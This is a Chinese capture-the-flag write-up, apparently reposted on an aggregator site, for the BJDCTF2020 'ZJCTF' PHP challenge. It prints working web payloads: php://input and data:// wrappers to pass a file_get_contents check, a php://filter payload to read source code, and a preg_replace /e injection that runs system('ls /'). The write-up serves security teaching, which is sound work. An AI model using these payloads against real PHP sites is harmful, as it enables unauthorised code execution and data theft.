当前位置: 首页 > news >正文

[BJDCTF2020]ZJCTF,不过如此1

打开题目可以看到一段php文件包含,源码如下

<?phperror_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file);  //next.php}
else{highlight_file(__FILE__);
}
?>

简单分析一下这段代码,代码通过GET方法来传入text和file两个参数,并且传入的text参数通过file_get_contents函数以只读的方式打开,而且当它强等于"I have a dream"这个字符串是,才能够去输出并且去执行下面的那个if判断。下面的那个if判断只是简单地判断了一下file传入的值中是否包含flag这个字符串,如果包含的话,则会输出"Not now!",否则就会去包含file传入的这个文件参数。

关于file_get_contents函数的利用手法,看这里PHP文件包含漏洞利用思路与Bypass总结手册(一)_index.zip-CSDN博客大佬总结的特别好,我好爱。

在本题中file_get_contents函数的利用如下(burpsuite抓包)

POST /?text=php://input

……

……

……

I have a dream 

 可以看到通过这个办法是成功过了第一个if

看了一些博客还有一下是通过data协议来绕过的,直接就是?text=data://text/pain,I have a dream

在上面大佬的博客总结中也有提到。

那么第一个if绕过了接下来就是第二个if了,可以看到源码中是包含了文件,并且给了提示那么我们就可以通过php伪协议来读取next.php里面的内容了

我们利用php://filter协议来读取next.php内容,于是我们在burpsuite中就可以添加上file=php://filter/convert.base64-encode/resource=next.php,然后就得到了next.php的源码。

我们将返回的base64解码就是next.php的源码了,源码如下

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}function getFlag(){@eval($_GET['cmd']);
}

先学习一下preg_replace函数PHP preg_replace() 函数 | 菜鸟教程 (runoob.com)

函preg_replace 函数执行一个正则表达式的搜索和替换。

preg_replace ( $pattern , $replacement , $subject)

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。

  • $replacement: 用于替换的字符串或字符串数组。

  • $subject: 要搜索替换的目标字符串或字符串数组。

返回值:

如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。

如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。

 在next.php中,complex函数中使用了preg_replace /e模式,这会导致preg_replace中的第二个参数会被当做代码执行,但是这里的第二个参数是一个不可变的,但是存在一种特殊的情况:

在正则表达式替换中,strtolower("\\1") 这一部分中:

\\1 代表第一个捕获组中的内容。在正则表达式中,用圆括号 () 括起来的部分就是捕获组。捕获组中的内容会被记住,并且可以在替换字符串中引用。\1 是第一个捕获组的引用,在双引号字符串中需要用 \\1 来表示。

strtolower函数的作用是把字符串转化成小写。

preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str
);

那么这段代码作用就是

  • 找到 $str 中匹配正则表达式 ($re) 的部分。
  • 将匹配到的部分传递给 strtolower 函数。
  • strtolower 函数的返回值替换原匹配的部分。

示例:

preg_replace('/(\w+)/ei', 'strtolower("\\1")', 'Hello World');

这段代码会将 HelloWorld 都转换为小写,结果是 hello world

那么这样一来这段代码执行的就是preg_replace中的第三个参数了,这样即使第二个参数是不可变的也可以执行代码。

这样的话我们只需要利用这个方法来执行getFlag()函数,在传入cmd来执行命令就可以了

构造paylaod=/next.php?\S*=${getFlag()}&cmd=system('ls /') ;

解释一下:

\S*:匹配任意非空白字符。

\S*=${getFlag()}:这将构造一个匹配,并且将捕获组的内容作为代码执行。

也就是这段代码会遍历传入的GET参数,将GET传入的变量名给了$re,把变量名的值给了$str,那么这样在传入paylaod的时候preg_replace会变成

preg_replace('/(\S*)/ei', 'strtolower("\\1")', '${getFlag()}');

那么执行完的界面就是

发现flag,换一下命令就可以了,得到flag

参考文章:

[BUUCTF][BJDCTF2020]ZJCTF,不过如此1(做题记录_[bjdctf2020]zjctf,不过如此 1-CSDN博客

BUUCTF:[BJDCTF2020]ZJCTF,不过如此_[bjdctf2020]zjctf,不过如此-CSDN博客

PHP文件包含漏洞利用思路与Bypass总结手册(一)_index.zip-CSDN博客 

http://www.lryc.cn/news/376017.html

相关文章:

  • 全网最全 Kimi 使用手册,看完 Kimi 效率提升 80%
  • “Redis中的持久化:深入理解RDB与AOF机制“
  • PHP框架详解:Symfony框架讲解
  • PR软件视频抠图换背景
  • 下载依赖有问题(只有自己有问题)
  • vscode-关闭ts与js语义校验
  • 风控中的文本相似方法之余弦定理
  • Spring Boot定时任务编程指南:如何创建和配置周期性任务
  • Java 获取客户端 IP 地址【工具类】
  • 区块链中nonce是什么,什么作用
  • 探索Python的多媒体解决方案:ffmpy库
  • dmhs同步因目的端表自增列报错解决方法
  • 封装分发安装教程
  • redis从入门到进阶——数据类型、 操作、数值操作、发布订阅、消息队列、布隆过滤器、事务
  • 剖析 Kafka 消息丢失的原因
  • 阿里又出AI神器,颠覆传统图像编辑,免费开源!
  • git 大文本上传和下载git-lfs
  • Ps:脚本与动作
  • MySQL数据库回顾(1)
  • 文字炫酷祝福 含魔法代码
  • docker容器中连接宿主机mysql数据库
  • Leetcode 41. 缺失的第一个正数
  • MyBatis 自定义映射 ResultMap:字段与属性的映射详解
  • 找单身狗2
  • element-ui将组件默认语言改为中文
  • SuperMap iClient3D 11i(2023) SP1 for Cesium 调整
  • 保姆级小白就业人工智能(视频+源码+笔记)
  • 微信小程序,分享和反馈功能
  • 数据安全未来之路,天空卫士荣誉领榜《中国数据安全50强(2024)》
  • CAD二次开发(10)-单行文字的添加+图形修改